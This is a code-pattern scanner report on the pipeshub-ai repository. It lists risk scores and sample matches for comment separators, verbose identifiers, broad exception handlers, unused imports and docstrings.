AI Slop Code RIsk Monitor

pipeshub-ai/pipeshub-ai

The open-source context layer for AI agents. PipesHub turns your company's knowledge (Slack, Drive, Jira, GitHub, Microsoft 365 and 40+ connectors) into a permission-aware workspace that agents can search, grep, navigate and cite. MCP, SDKs and built-in agents. Self-hosted.

46.8 High pattern signal View on GitHub

Maintenance and Governance Review

This report summarizes scanner evidence for pipeshub-ai/pipeshub-ai, a Python project with 3,828 GitHub stars. SynthScan examined 2,666,582 lines of code across 6210 source files, recording 92332 pattern matches distributed across 27 syntactic categories. The legacy adjusted pattern signal is 46.8 (High pattern signal); it is not an authorship estimate.

Use the findings to ask whether maintainers can explain intent, verify dependencies, simplify unnecessary scaffolding, and focus review effort. Risk Payload v1 adds ownership, supply-chain, over-engineering, and review-effort vectors when available. These are prompts for human verification, not probabilities, security findings, or measured maintenance costs.

46.8
Adjusted Signal
46.8
Raw Pattern Score
100%
Time Factor
2026-10-11
Last Push
3.8K
Stars
Python
Language
2.7M
Lines of Code
6.2K
Files
92.3K
Pattern Hits
2026-10-12
Scan Date
0.26
HC Hit Rate

Risk Review · v3

Use each vector to guide manual verification of the underlying findings.

Cognitive Ownership Risk 58.5/100 · HIGH

Can maintainers explain intent, assumptions, and trade-offs? 55727 finding(s).

Hallucinated Dependency & Supply Chain Risk 9.2/100 · LOW

Are imports declared and package/API names verified? 5693 finding(s).

Agent Over-Engineering Ratio 88.2/100 · CRITICAL

Are wrappers, guards, and repeated structures necessary? 82820 finding(s).

PR Review Velocity Impact 93.0/100 · CRITICAL

Which changes need focused human review? 92332 finding(s).

What These Metrics Mean

Adjusted Signal
Legacy pattern score normalized per 1,000 scanned lines and multiplied by the repository-level time factor. It is not an estimate of AI authorship.
Raw Pattern Score
Sum of severity- and context-weighted pattern findings before applying the time factor.
Time Factor
A coarse multiplier based on repository last-push metadata. It does not identify when individual code was written.
Pattern Hits
Count of configured pattern findings. Review each location and surrounding code before acting.
HC Hit Rate
High- and critical-severity findings per scanned file. Severity is a configured detector weight, not proof of a vulnerability or authorship.
Lines / Files
Scan coverage denominators used by the legacy normalized score.

Pattern-Signal History

This chart tracks the legacy adjusted pattern score across scan runs. Changes can reflect source changes, scan coverage, or detector/scoring versions; they do not measure AI adoption or prove that a team refactored code. Compare runs only when their scoring versions are compatible. The dashed line tracks the raw pattern-hit count.

Severity Breakdown

Groups findings by configured severity weight. Severity is not a confidence estimate, security rating, or proof that a package is missing. Verify imports against the project's manifests and inspect each finding in its local design context.

CRITICAL 32HIGH 1597MEDIUM 20514LOW 70189

Directory Score Breakdown

This horizontal bar chart shows where configured pattern scores accumulate across directories. Treat the bars as locations to inspect, not as evidence of authorship or code quality. Use the file-level findings to decide whether a directory needs a focused ownership, dependency, complexity, or review check.

Pattern Findings

The scanner identified 92332 distinct pattern matches across 27 syntactic categories. Each entry below represents a discrete location in the source code where the engine recorded a detector match to inspect in context. Expand any category row to inspect the individual file paths, line numbers, code snippets, and the lexical context (CODE, COMMENT, or STRING) in which each match was detected.

Reading the findings table: The Severity column indicates the configured finding weight (CRITICAL / HIGH / MEDIUM / LOW). The Context column identifies whether the match occurred inside executable code, an inline comment, or a string literal — legacy comment-context matches receive a ×1.5 score weight. The ⚡ bolt icon marks clustered matches: three or more patterns within a 10-line window, each receiving an additional ×1.5 density multiplier under the legacy scoring model.

Decorative Section Separators19951 hits · 61124 pts
SeverityFileLineSnippetContext
MEDIUMinstall.sh2# ==============================================================================COMMENT
MEDIUMinstall.sh4# ==============================================================================COMMENT
MEDIUMinstall.sh27# ==============================================================================COMMENT
MEDIUM⚡install.sh48# ── Repo mode ─────────────────────────────────────────────────────────────────COMMENT
MEDIUM⚡install.sh54# ── Standalone mode ───────────────────────────────────────────────────────────COMMENT
MEDIUMfrontend/app/components/sidebar/sidebar-base.tsx31 // ── Mobile full-screen drawer ─────────────────────────────────COMMENT
MEDIUMfrontend/app/components/sidebar/types.ts28 // ── Mobile drawer props ─────────────────────────────COMMENT
MEDIUMfrontend/app/components/ui/user-avatar.tsx6// ─────────────────────────────────────────────COMMENT
MEDIUMfrontend/app/components/ui/user-avatar.tsx8// ─────────────────────────────────────────────COMMENT
MEDIUMfrontend/app/components/ui/health-gate.tsx162 // ── Refresh data on server recovery to clear stale state ────────────────COMMENT
MEDIUMfrontend/app/components/ui/health-gate.tsx175 // ── Fast retry when server is unreachable ────────────────────────────────COMMENT
MEDIUMfrontend/app/components/ui/health-gate.tsx201 // ── Show / update / dismiss toasts based on health status ────────────────COMMENT
MEDIUM…ntend/app/components/file-preview/use-citation-sync.ts110 // ── Page scroll → find matching citation (debounced 300ms) ──────────COMMENT
MEDIUM…ntend/app/components/file-preview/use-citation-sync.ts136 // ── Citation click → navigate + highlight ───────────────────────────COMMENT
MEDIUM…nd/app/components/file-preview/use-text-highlighter.ts6// ── Constants ────────────────────────────────────────────────────────────────COMMENT
MEDIUM…nd/app/components/file-preview/use-text-highlighter.ts25// ── Style injection ──────────────────────────────────────────────────────────COMMENT
MEDIUM…nd/app/components/file-preview/use-text-highlighter.ts89// ── Pure helpers ─────────────────────────────────────────────────────────────COMMENT
MEDIUM…nd/app/components/file-preview/use-text-highlighter.ts109// ── Text node collection ─────────────────────────────────────────────────────COMMENT
MEDIUM…nd/app/components/file-preview/use-text-highlighter.ts233// ── DOM highlight engine ─────────────────────────────────────────────────────COMMENT
MEDIUM…nd/app/components/file-preview/use-text-highlighter.ts435// ── Public hook ──────────────────────────────────────────────────────────────COMMENT
MEDIUM…ontend/app/components/file-preview/citations-panel.tsx118// ── Individual citation card ────────────────────────────────────────────COMMENT
MEDIUM⚡…onents/file-preview/renderers/spreadsheet-renderer.tsx593 // ── Loading state ───────────────────────────────────────────────COMMENT
MEDIUM⚡…onents/file-preview/renderers/spreadsheet-renderer.tsx602 // ── Error state ─────────────────────────────────────────────────COMMENT
MEDIUM⚡…onents/file-preview/renderers/spreadsheet-renderer.tsx612 // ── Empty sheet state ───────────────────────────────────────────COMMENT
MEDIUM…onents/file-preview/renderers/spreadsheet-renderer.tsx9// ─── Constants ──────────────────────────────────────────────────────COMMENT
MEDIUM…onents/file-preview/renderers/spreadsheet-renderer.tsx30// ─── Types ──────────────────────────────────────────────────────────COMMENT
MEDIUM…onents/file-preview/renderers/spreadsheet-renderer.tsx53// ─── State Management ───────────────────────────────────────────────COMMENT
MEDIUM…onents/file-preview/renderers/spreadsheet-renderer.tsx114// ─── Styles injector ────────────────────────────────────────────────COMMENT
MEDIUM…onents/file-preview/renderers/spreadsheet-renderer.tsx135// ─── Helpers ────────────────────────────────────────────────────────COMMENT
MEDIUM…onents/file-preview/renderers/spreadsheet-renderer.tsx153// ─── Process workbook into structured data ──────────────────────────COMMENT
MEDIUM…onents/file-preview/renderers/spreadsheet-renderer.tsx245// ─── Memoized table cell ────────────────────────────────────────────COMMENT
MEDIUM…onents/file-preview/renderers/spreadsheet-renderer.tsx293// ─── Main component ─────────────────────────────────────────────────COMMENT
MEDIUM…onents/file-preview/renderers/spreadsheet-renderer.tsx329 // ── Inject animation styles ─────────────────────────────────────COMMENT
MEDIUM…onents/file-preview/renderers/spreadsheet-renderer.tsx332 // ── Load & process file ─────────────────────────────────────────COMMENT
MEDIUM…onents/file-preview/renderers/spreadsheet-renderer.tsx367 // ── Current sheet data ──────────────────────────────────────────COMMENT
MEDIUM…onents/file-preview/renderers/spreadsheet-renderer.tsx411 // ── Column resize: drag start from any cell's right edge ───────COMMENT
MEDIUM…onents/file-preview/renderers/spreadsheet-renderer.tsx458 // ── Row → citation mapping ──────────────────────────────────────COMMENT
MEDIUM…onents/file-preview/renderers/spreadsheet-renderer.tsx473 // ── Find which sheet contains a given (1-based) row number ───────COMMENT
MEDIUM…onents/file-preview/renderers/spreadsheet-renderer.tsx492 // ── Apply highlight from citation ───────────────────────────────COMMENT
MEDIUM…onents/file-preview/renderers/spreadsheet-renderer.tsx505 // ── Scroll to a row (retries until the row is rendered) ─────────COMMENT
MEDIUM…onents/file-preview/renderers/spreadsheet-renderer.tsx532 // ── Handle active citation changes ──────────────────────────────COMMENT
MEDIUM…onents/file-preview/renderers/spreadsheet-renderer.tsx564 // ── Handle row click for citation ───────────────────────────────COMMENT
MEDIUM…onents/file-preview/renderers/spreadsheet-renderer.tsx576 // ── Sheet change ────────────────────────────────────────────────COMMENT
MEDIUM…onents/file-preview/renderers/spreadsheet-renderer.tsx803// ─── Sheet Tabs ─────────────────────────────────────────────────────COMMENT
MEDIUM…pp/components/file-preview/renderers/html-renderer.tsx39 // ── Step 1: Fetch & sanitize ──────────────────────────────────────COMMENT
MEDIUM…pp/components/file-preview/renderers/html-renderer.tsx82 // ── Step 2: Mount sanitized HTML into the DOM ─────────────────────COMMENT
MEDIUM…pp/components/file-preview/renderers/html-renderer.tsx105 // ── Step 3: Apply citation highlights once content is ready ───────COMMENT
MEDIUM…pp/components/file-preview/renderers/html-renderer.tsx115 // ── Step 4: Scroll to active citation (retry pattern) ────────────COMMENT
MEDIUM…pp/components/file-preview/renderers/html-renderer.tsx139 // ── Inject scoped styles for the content wrapper ──────────────────COMMENT
MEDIUM…pp/components/file-preview/renderers/docx-renderer.tsx61 // ── Step 1: Fetch buffer & render with docx-preview ───────────────COMMENT
MEDIUM…pp/components/file-preview/renderers/docx-renderer.tsx159 // ── Step 3: Scroll to active citation (retry pattern) ─────────────COMMENT
MEDIUM…pp/components/file-preview/renderers/docx-renderer.tsx210 // ── Inject scoped styles for docx-preview highlights ──────────────COMMENT
MEDIUMfrontend/app/(public)/api.ts11// ─── Types ────────────────────────────────────────────────────────────────────COMMENT
MEDIUMfrontend/app/(public)/api.ts33// ─── Auth API ─────────────────────────────────────────────────────────────────COMMENT
MEDIUMfrontend/app/(public)/sign-up/signUpPage.tsx24// ─── Component ───────────────────────────────────────────────────────────────COMMENT
MEDIUMfrontend/app/(public)/forms/multiple-providers.tsx9// ─── Props ────────────────────────────────────────────────────────────────────COMMENT
MEDIUMfrontend/app/(public)/forms/multiple-providers.tsx20// ─── Tab metadata ─────────────────────────────────────────────────────────────COMMENT
MEDIUMfrontend/app/(public)/forms/multiple-providers.tsx70// ─── Component ────────────────────────────────────────────────────────────────COMMENT
MEDIUMfrontend/app/(public)/forms/single-provider.tsx24// ─── Props ────────────────────────────────────────────────────────────────────COMMENT
MEDIUMfrontend/app/(public)/forms/single-provider.tsx37// ─── Component ────────────────────────────────────────────────────────────────COMMENT
19891 more matches not shown…
Hyper-Verbose Identifiers50950 hits · 40707 pts
SeverityFileLineSnippetContext
LOW⚡CONNECTOR_INTEGRATION_PLAYBOOK.md730 def test_connection_and_access(self) -> bool:CODE
LOW⚡CONNECTOR_INTEGRATION_PLAYBOOK.md820 async def handle_webhook_notification(self, org_id: str, notification: Dict) -> bool:CODE
LOWCONNECTOR_INTEGRATION_PLAYBOOK.md1137 async def test_init_returns_false_when_connection_test_fails(self):CODE
LOWCONNECTOR_INTEGRATION_PLAYBOOK.md1146 async def test_init_returns_false_when_credentials_fail(self):CODE
LOWfrontend/app/components/ui/health-gate.tsx30function classifyUnhealthyServices(CODE
LOWfrontend/app/components/ui/themeable-asset-icon.tsx63function svgMarkupUsesCurrentColor(svgText: string): boolean {CODE
LOWfrontend/app/components/ui/permission-denied-dialog.tsx7export function usePermissionDeniedDialog() {CODE
LOWfrontend/app/components/file-preview/resize-storage.ts57export function readSavedCitationsWidthPx(): number {CODE
LOWfrontend/app/components/file-preview/utils.ts16export function resolvePreviewIconExtension(CODE
LOWfrontend/app/components/file-preview/utils.ts307export function resolvePreviewMimeAfterStream(CODE
LOW…ors/oauth/callback/connector-oauth-callback-client.tsx52export function ConnectorOAuthCallbackClient() {CODE
LOW…ontend/app/(public)/connectors/oauth/callback/page.tsx10export default function ConnectorOAuthCallbackPage() {CODE
LOW…/app/(public)/oauth/authorize/oauth-authorize-view.tsx107function extractErrorFromRedirectUrl(CODE
LOW…app/(public)/forms/form-components/provider-button.tsx87export function getSamlProviderNameFromAuthProviders(CODE
LOWfrontend/app/(public)/auth/sign-in/page.tsx5export default function AuthSignInErrorBridgePage() {CODE
LOWfrontend/app/(public)/hooks/use-auth-actions.ts66function getBlockedUntilDescription(error: unknown): string | undefined {CODE
LOWfrontend/app/(public)/reset-email/page.tsx13function buildLoginWithVerifyParams(kind: 'success' | 'error', message?: string): string {CODE
LOW…lsets/oauth/callback/toolset-oauth-callback-client.tsx40export function ToolsetOAuthCallbackClient() {CODE
LOW…n)/connectors/oauth/connector-oauth-window-messages.ts17export function postConnectorOAuthSuccessToOpener(connectorId: string | null): void {CODE
LOW…n)/connectors/oauth/connector-oauth-window-messages.ts32export function postConnectorOAuthErrorToOpener(error: string): void {CODE
LOW…/connectors/oauth/connector-oauth-callback-response.ts20export function parseConnectorOAuthCallbackPayload(data: unknown): ParsedConnectorOAuthCallback {CODE
LOWfrontend/app/(main)/record/page.tsx79function RecordPageSuspenseFallback() {CODE
LOW…app/(main)/record/components/record-metadata-panel.tsx171function shouldShowIndexingReasonTooltip(CODE
LOW…d/app/(main)/@sidebar/workspace/connectors/default.tsx4export default function WorkspaceConnectorsSidebarDefault() {CODE
LOW…tend/app/(main)/@sidebar/workspace/actions/default.tsx4export default function WorkspaceActionsSidebarDefault() {CODE
LOW…/app/(main)/@sidebar/workspace/mcp-servers/default.tsx4export default function WorkspaceMcpServersSidebarDefault() {CODE
LOW…owledge-base/use-knowledge-base-sidebar-auto-expand.ts24function isKbCollectionsNavigationPath(CODE
LOW…owledge-base/use-knowledge-base-sidebar-auto-expand.ts64export function useKnowledgeBaseSidebarAutoExpand({CODE
LOWfrontend/app/(main)/@sidebar/knowledge-base/page.tsx24function KnowledgeBaseSidebarSlotContent() {CODE
LOWfrontend/app/(main)/chat/streaming.ts131function stampPendingCardOnMessages(CODE
LOWfrontend/app/(main)/chat/streaming.ts154function assistantRowIdForBackendMessage(CODE
LOWfrontend/app/(main)/chat/streaming.ts169function pendingFromUnansweredPersistedCard(CODE
LOW⚡frontend/app/(main)/chat/streaming.ts227function pendingAfterStreamFailure(CODE
LOW⚡frontend/app/(main)/chat/streaming.ts237function notifyAskUserQuestionResumeFailed(detail: string): void {CODE
LOW⚡frontend/app/(main)/chat/streaming.ts243function withStreamingErrorMessage(CODE
LOWfrontend/app/(main)/chat/streaming.ts260function statusMessageFromConnectedEvent(data: SSEConnectedEvent): StatusMessage {CODE
LOWfrontend/app/(main)/chat/streaming.ts298function statusMessageIdleThinking(): StatusMessage {CODE
LOWfrontend/app/(main)/chat/streaming.ts326function createStatusDwellScheduler(CODE
LOWfrontend/app/(main)/chat/share-adapter.ts173export function createProjectShareAdapter(project: ProjectDetail): ShareAdapter {CODE
LOWfrontend/app/(main)/chat/api.ts103export function mapApiConversationToConversation(conv: ConversationApiResponse): Conversation {CODE
LOWfrontend/app/(main)/chat/runtime.ts93export function getThreadMessagePlainText(message: ThreadMessageLike): string {CODE
LOWfrontend/app/(main)/chat/runtime.ts98function readKbCollectionsFromMessage(CODE
LOWfrontend/app/(main)/chat/runtime.ts124function resolveAssistantFiltersFromSlot(CODE
LOWfrontend/app/(main)/chat/runtime.ts152export function resolveAssistantFiltersForChatSubmit(CODE
LOWfrontend/app/(main)/chat/runtime.ts192export function buildStreamChatRequestForSlot(CODE
LOWfrontend/app/(main)/chat/runtime.ts344function isAskUserQuestionResumeQuery(text: string | undefined | null): boolean {CODE
LOWfrontend/app/(main)/chat/runtime.ts352function isFailedAskUserQuestionResumeError(CODE
LOWfrontend/app/(main)/chat/runtime.ts401function isAskUserQuestionAnswered(CODE
LOWfrontend/app/(main)/chat/runtime.ts413function stampPersistedQuestionCard(CODE
LOWfrontend/app/(main)/chat/runtime.ts744function readAttachmentsFromMessage(CODE
LOWfrontend/app/(main)/chat/types.ts222export function agentStrategyToApiSegment(strategy: AgentStrategy): AgentStrategyApiSegment {CODE
LOWfrontend/app/(main)/chat/types.ts245export function streamChatModeToAgentApiChatMode(CODE
LOWfrontend/app/(main)/chat/types.ts917export function buildStreamRequestModeFields(CODE
LOWfrontend/app/(main)/chat/store.ts248export function isConversationStreamingInScope(CODE
LOWfrontend/app/(main)/chat/store.ts1663export function getModelDefaultReasoningEffort(CODE
LOWfrontend/app/(main)/chat/store.ts1678export function getAgentDefaultReasoningEffort(CODE
LOWfrontend/app/(main)/chat/store.ts1691export function getUniversalCombinedCatalog(): string[] {CODE
LOW…nd/app/(main)/chat/sidebar/agent-sidebar-row-access.ts57export function getAgentSidebarRowMenuAccess(agent: AgentAccessInput): AgentSidebarRowMenuAccess | null {CODE
LOW…/(main)/chat/sidebar/project-conversations-sidebar.tsx76export const ProjectConversationsSidebar = React.memo(function ProjectConversationsSidebar({CODE
LOW…app/(main)/chat/utils/apply-conversation-model-info.ts17export function pickModelInfoFromConversationBundle(detail: {CODE
50890 more matches not shown…
Excessive Try-Catch Wrapping9237 hits · 6599 pts
SeverityFileLineSnippetContext
LOW⚡CONNECTOR_INTEGRATION_PLAYBOOK.md726 except Exception as e:CODE
LOW⚡CONNECTOR_INTEGRATION_PLAYBOOK.md736 except Exception as e:CODE
LOW⚡CONNECTOR_INTEGRATION_PLAYBOOK.md782 except Exception as e:CODE
LOW⚡CONNECTOR_INTEGRATION_PLAYBOOK.md812 except Exception as e:CODE
LOW⚡CONNECTOR_INTEGRATION_PLAYBOOK.md825 except Exception as e:CODE
LOW⚡CONNECTOR_INTEGRATION_PLAYBOOK.md834 except Exception as e:CODE
LOWCONNECTOR_INTEGRATION_PLAYBOOK.md755 except Exception as e:CODE
LOWCONNECTOR_INTEGRATION_PLAYBOOK.md893 except Exception as e:CODE
LOWCONNECTOR_INTEGRATION_PLAYBOOK.md912 except Exception as e:CODE
LOWCONNECTOR_INTEGRATION_PLAYBOOK.md953 except Exception as e:CODE
LOWCONNECTOR_INTEGRATION_PLAYBOOK.md996 except Exception:CODE
LOWCONNECTOR_INTEGRATION_PLAYBOOK.md1033 except Exception as e:CODE
LOWintegration-tests/connectors/nextcloud/conftest.py51 except Exception as exc: # noqa: BLE001 — any failure means "not available"CODE
LOW…n-tests/connectors/google_drive_individual/conftest.py74 except Exception as e:CODE
LOW…n-tests/connectors/google_drive_individual/conftest.py186 except Exception as e:CODE
LOW…n-tests/connectors/google_drive_individual/conftest.py246 except Exception as e:CODE
LOW…n-tests/connectors/google_drive_individual/conftest.py257 except Exception as e:CODE
LOWintegration-tests/connectors/github_teams/conftest.py176 except Exception as e:CODE
LOW⚡…ion-tests/connectors/github_teams/github_test_utils.py567 except Exception as e:CODE
LOW…ion-tests/connectors/github_teams/github_test_utils.py466 except Exception as e:CODE
LOW…ion-tests/connectors/github_teams/github_test_utils.py519 except Exception as e:CODE
LOW…ion-tests/connectors/github_teams/github_test_utils.py526 except Exception as close_error:CODE
LOW…ion-tests/connectors/github_teams/github_test_utils.py733 except Exception as e:CODE
LOW…ion-tests/connectors/github_teams/github_test_utils.py743 except Exception as e:CODE
LOW…ion-tests/connectors/github_teams/github_test_utils.py771 except Exception as e:CODE
LOW…ion-tests/connectors/github_teams/github_test_utils.py803 except Exception as e:CODE
LOW…ion-tests/connectors/github_teams/github_test_utils.py813 except Exception as e:CODE
LOW…ion-tests/connectors/github_teams/github_test_utils.py1047 except Exception as e:CODE
LOW…sts/connectors/github_teams/github_scenario_adapter.py87 except Exception as e: # noqa: BLE001 - the suite's stale-namespace sweep catches leaksCODE
LOW…tors/github_teams/github_teams_scenario_matrix_test.py72 except Exception as e: # noqa: BLE001 - teardown must not mask the test resultCODE
LOW…nnectors/github_teams/github_teams_integration_test.py1639 except Exception as e:CODE
LOW…nnectors/github_teams/github_teams_integration_test.py2403 except Exception as e:CODE
LOW…nnectors/github_teams/github_teams_integration_test.py2455 except Exception as e:CODE
LOW⚡…ion-tests/connectors/gitlab/gitlab_integration_test.py2271 except Exception as e:CODE
LOW…ion-tests/connectors/gitlab/gitlab_integration_test.py2216 except Exception as e:CODE
LOW…tegration-tests/connectors/gitlab/gitlab_test_utils.py475 except Exception as e:CODE
LOW…tegration-tests/connectors/gitlab/gitlab_test_utils.py479 except Exception as close_error:CODE
LOW…tegration-tests/connectors/gitlab/gitlab_test_utils.py498 except Exception as e:CODE
LOW⚡…tegration-tests/connectors/gitlab/gitlab_test_utils.py603 except Exception as e:CODE
LOW⚡…tegration-tests/connectors/gitlab/gitlab_test_utils.py613 except Exception as e:CODE
LOW…tegration-tests/connectors/gitlab/gitlab_test_utils.py632 except Exception as e:CODE
LOW…tegration-tests/connectors/gitlab/gitlab_test_utils.py651 except Exception as e:CODE
LOW…tegration-tests/connectors/gitlab/gitlab_test_utils.py692 except Exception as e:CODE
LOW⚡…tegration-tests/connectors/gitlab/gitlab_test_utils.py718 except Exception as e:CODE
LOW…tegration-tests/connectors/gitlab/gitlab_test_utils.py812 except Exception as e:CODE
LOW…tests/connectors/gitlab/gitlab_scenario_matrix_test.py105 except Exception as e: # noqa: BLE001 - the suite's stale-namespace sweep catches leaksCODE
LOW…tests/connectors/gitlab/gitlab_scenario_matrix_test.py145 except Exception as e: # noqa: BLE001 - teardown must not mask the test resultCODE
LOWintegration-tests/connectors/mariadb/conftest.py58 except Exception as exc: # noqa: BLE001 — any failure means "not available"CODE
LOWintegration-tests/connectors/web/conftest.py50 except Exception as exc: # noqa: BLE001 — any failure means "not available"CODE
LOW⚡integration-tests/connectors/linear/conftest.py421 except Exception as e:CODE
LOW⚡integration-tests/connectors/linear/conftest.py430 except Exception as e:CODE
LOW⚡integration-tests/connectors/linear/conftest.py438 except Exception as e:CODE
LOW…ion-tests/connectors/linear/linear_integration_test.py160 except Exception as e:CODE
LOW…ion-tests/connectors/linear/linear_integration_test.py731 except Exception:CODE
LOW…tests/connectors/linear/linear_scenario_matrix_test.py148 except Exception as e: # noqa: BLE001 - a later run's age-gated sweep catches leaksCODE
LOW…tests/connectors/linear/linear_scenario_matrix_test.py157 except Exception as e: # noqa: BLE001 - teardown must not mask the test resultCODE
LOW⚡…tegration-tests/connectors/linear/linear_test_utils.py621 except Exception:CODE
LOW…tegration-tests/connectors/linear/linear_test_utils.py101 except Exception as e:CODE
LOW…tegration-tests/connectors/linear/linear_test_utils.py600 except Exception:CODE
LOW…tegration-tests/connectors/linear/linear_test_utils.py777 except Exception as e:CODE
9177 more matches not shown…
Unused Imports4559 hits · 3554 pts
SeverityFileLineSnippetContext
LOWintegration-tests/conftest.py1CODE
LOWintegration-tests/conftest.py116CODE
LOWintegration-tests/conftest.py116CODE
LOWintegration-tests/conftest.py19CODE
LOWintegration-tests/report_connector_coverage.py10CODE
LOWintegration-tests/connectors/scenario_matrix.py50CODE
LOWintegration-tests/connectors/scenario_matrix.py74CODE
LOWintegration-tests/connectors/scenario_matrix.py75CODE
LOWintegration-tests/connectors/scenario_matrix.py76CODE
LOWintegration-tests/connectors/scenario_matrix.py77CODE
LOWintegration-tests/connectors/scenario_matrix.py78CODE
LOWintegration-tests/connectors/scenario_matrix.py79CODE
LOWintegration-tests/connectors/conftest.py12CODE
LOWintegration-tests/connectors/conftest.py17CODE
LOW…tegration-tests/connectors/storage_scenario_adapter.py18CODE
LOWintegration-tests/connectors/demo/conftest.py18CODE
LOW…gration-tests/connectors/demo/demo_integration_test.py36CODE
LOW…-tests/connectors/nextcloud/nextcloud_source_helper.py13CODE
LOW…connectors/nextcloud/nextcloud_scenario_matrix_test.py11CODE
LOW…individual/google_drive_individual_integration_test.py22CODE
LOW…n-tests/connectors/google_drive_individual/conftest.py11CODE
LOW…google_drive_individual/drive_individual_test_utils.py5CODE
LOWintegration-tests/connectors/github_teams/conftest.py37CODE
LOW…sts/connectors/github_teams/github_scenario_adapter.py13CODE
LOW…ation-tests/connectors/github_teams/github_expected.py21CODE
LOW…on-tests/connectors/github_teams/github_block_utils.py21CODE
LOW…on-tests/connectors/github_teams/github_block_utils.py21CODE
LOW…tors/github_teams/github_teams_scenario_matrix_test.py11CODE
LOW…ectors/azure_files/azure_files_scenario_matrix_test.py11CODE
LOW…s/connectors/azure_files/azure_files_storage_helper.py3CODE
LOWintegration-tests/connectors/s3/s3_storage_helper.py3CODE
LOW…gration-tests/connectors/s3/s3_scenario_matrix_test.py9CODE
LOW…tests/connectors/gitlab/gitlab_scenario_matrix_test.py19CODE
LOWintegration-tests/connectors/gitlab/gitlab_expected.py19CODE
LOW…egration-tests/connectors/gitlab/gitlab_block_utils.py21CODE
LOW…egration-tests/connectors/gitlab/gitlab_block_utils.py21CODE
LOW…tion-tests/connectors/mariadb/mariadb_source_helper.py14CODE
LOW…sts/connectors/mariadb/mariadb_scenario_matrix_test.py11CODE
LOW…on-tests/connectors/local_fs/local_fs_source_helper.py12CODE
LOW…s/connectors/local_fs/local_fs_scenario_matrix_test.py14CODE
LOW…ation-tests/connectors/web/web_scenario_matrix_test.py16CODE
LOWintegration-tests/connectors/linear/linear_expected.py5CODE
LOWintegration-tests/connectors/linear/linear_expected.py33CODE
LOW…tests/connectors/linear/linear_scenario_matrix_test.py16CODE
LOW…tegration-tests/connectors/linear/linear_test_utils.py10CODE
LOW…tegration-tests/connectors/linear/linear_test_utils.py17CODE
LOW…ation-tests/connectors/rss/rss_scenario_matrix_test.py11CODE
LOW…-tests/connectors/bookstack/bookstack_source_helper.py13CODE
LOW…connectors/bookstack/bookstack_scenario_matrix_test.py15CODE
LOW…on-tests/connectors/google_drive_workspace/conftest.py11CODE
LOW…oogle_drive_workspace_shared_drive_integration_test.py14CODE
LOW…e_workspace/google_drive_workspace_integration_test.py22CODE
LOW…rkspace/google_drive_workspace_scenario_matrix_test.py15CODE
LOW…s/google_drive_workspace/drive_workspace_test_utils.py5CODE
LOW…google_drive_workspace_permissions_integration_test.py15CODE
LOW…gration-tests/connectors/minio/minio_storage_helper.py12CODE
LOW…n-tests/connectors/minio/minio_scenario_matrix_test.py9CODE
LOWintegration-tests/connectors/notion/notion_seed.py15CODE
LOWintegration-tests/connectors/notion/constants.py8CODE
LOWintegration-tests/connectors/notion/notion_expected.py10CODE
4499 more matches not shown…
Docstring Block Structure648 hits · 2248 pts
SeverityFileLineSnippetContext
HIGHintegration-tests/helper/graph_provider_utils.py133 Wait for a sync to finish and for the graph to stop changing, then return the record count. ``status == IDLE``STRING
HIGHintegration-tests/helper/assertions.py124 Assert record exists and optionally validate properties. Args: connector_id: ConneSTRING
HIGHintegration-tests/helper/assertions.py198 Assert record version/revision has changed. Args: connector_id: Connector ID STRING
HIGHintegration-tests/helper/assertions.py233 Assert user synced with correct properties. Args: connector_id: Connector ID STRING
HIGHintegration-tests/helper/assertions.py289 Assert group synced with correct properties. Args: connector_id: Connector ID STRING
HIGHintegration-tests/helper/assertions.py380 Assert all records have a property (optionally matching value/predicate). Args: coSTRING
HIGH…hon/app/connectors/core/registry/connector_registry.py1482 Create a connector instance when it's being configured. This method should be called during the configSTRING
HIGH…hon/app/connectors/core/registry/connector_registry.py1541 Update a connector instance in the database with access control. Args: connector_id: UniquSTRING
HIGH…re/base/token_service/toolset_token_refresh_service.py518 Build complete OAuth flow configuration for toolset. NEW ARCHITECTURE (2026-03+): OAuth credentials (cSTRING
HIGH…re/base/token_service/toolset_token_refresh_service.py704 Core token refresh logic - performs the actual OAuth token refresh for toolsets. Args: conSTRING
HIGH…ctors/core/base/token_service/token_refresh_service.py492 Build complete OAuth flow configuration from all available sources. Tries shared OAuth config first, faSTRING
HIGH…ctors/core/base/token_service/token_refresh_service.py732 Core token refresh logic - performs the actual OAuth token refresh. This is the single source of truth STRING
HIGH…/base/data_processor/data_source_entities_processor.py4064 Delete a user group and all its associated edges from the database. Args: external_group_iSTRING
HIGH…/base/data_processor/data_source_entities_processor.py4343 Delete an app role and all its associated edges from the database. Args: external_role_id:STRING
HIGHbackend/python/app/connectors/sources/web/connector.py541 Fetch and parse connector configuration. Args: use_cache: Whether to use cached config (deSTRING
HIGH…app/connectors/sources/microsoft/onedrive/connector.py1352 Fetches users from a nested group (one level deep only). Args: nested_group: A group membeSTRING
HIGH…/connectors/sources/microsoft/common/msgraph_client.py329 Check if a user has a OneDrive drive provisioned. Args: user_id: The user identifier STRING
HIGH…kend/python/app/connectors/sources/linear/connector.py4101 Create a BlockGroup object directly without using BlockGroupBuilder. Args: name: Name of tSTRING
HIGH…kend/python/app/connectors/sources/linear/connector.py4675 Process project BlockGroups for streaming by creating BlocksContainer on-demand. This function: STRING
HIGH…kend/python/app/connectors/sources/linear/connector.py4795 Process issue BlockGroups for streaming by creating BlocksContainer on-demand. This function: STRING
HIGH…d/python/app/connectors/sources/bookstack/connector.py346 Stream the content of a BookStack record. Args: record: The record to stream RetuSTRING
HIGH…d/python/app/connectors/sources/snowflake/connector.py1310 Fetch rows from a table with optional limit. Args: database_name: Database name STRING
HIGH…kend/python/app/connectors/sources/notion/connector.py3914 Unified transform for pages and data_sources to WebpageRecord. Args: obj_data: Raw data frSTRING
HIGH…kend/python/app/connectors/sources/zammad/connector.py1110 Fetch tickets for a specific group with pagination and incremental sync support. One search can page tSTRING
HIGH…ectors/sources/atlassian/jira_data_center/connector.py4489 Process issue BlockGroups for streaming by creating BlocksContainer on-demand. This function: STRING
HIGH…p/connectors/sources/atlassian/jira_cloud/connector.py4509 Process issue BlockGroups for streaming by creating BlocksContainer on-demand. This function: STRING
HIGH…/atlassian/confluence_datacenter_personal/connector.py2754 Fetch page or blogpost HTML from Confluence using v1 unified content API. Args: page_id: TSTRING
HIGH…/atlassian/confluence_datacenter_personal/connector.py2827 Fetch comment HTML content from Confluence based on record type. Args: record: CommentRecoSTRING
HIGH…/atlassian/confluence_datacenter_personal/connector.py2897 Stream attachment file content from Confluence. Downloads the full file with retry before yielding so STRING
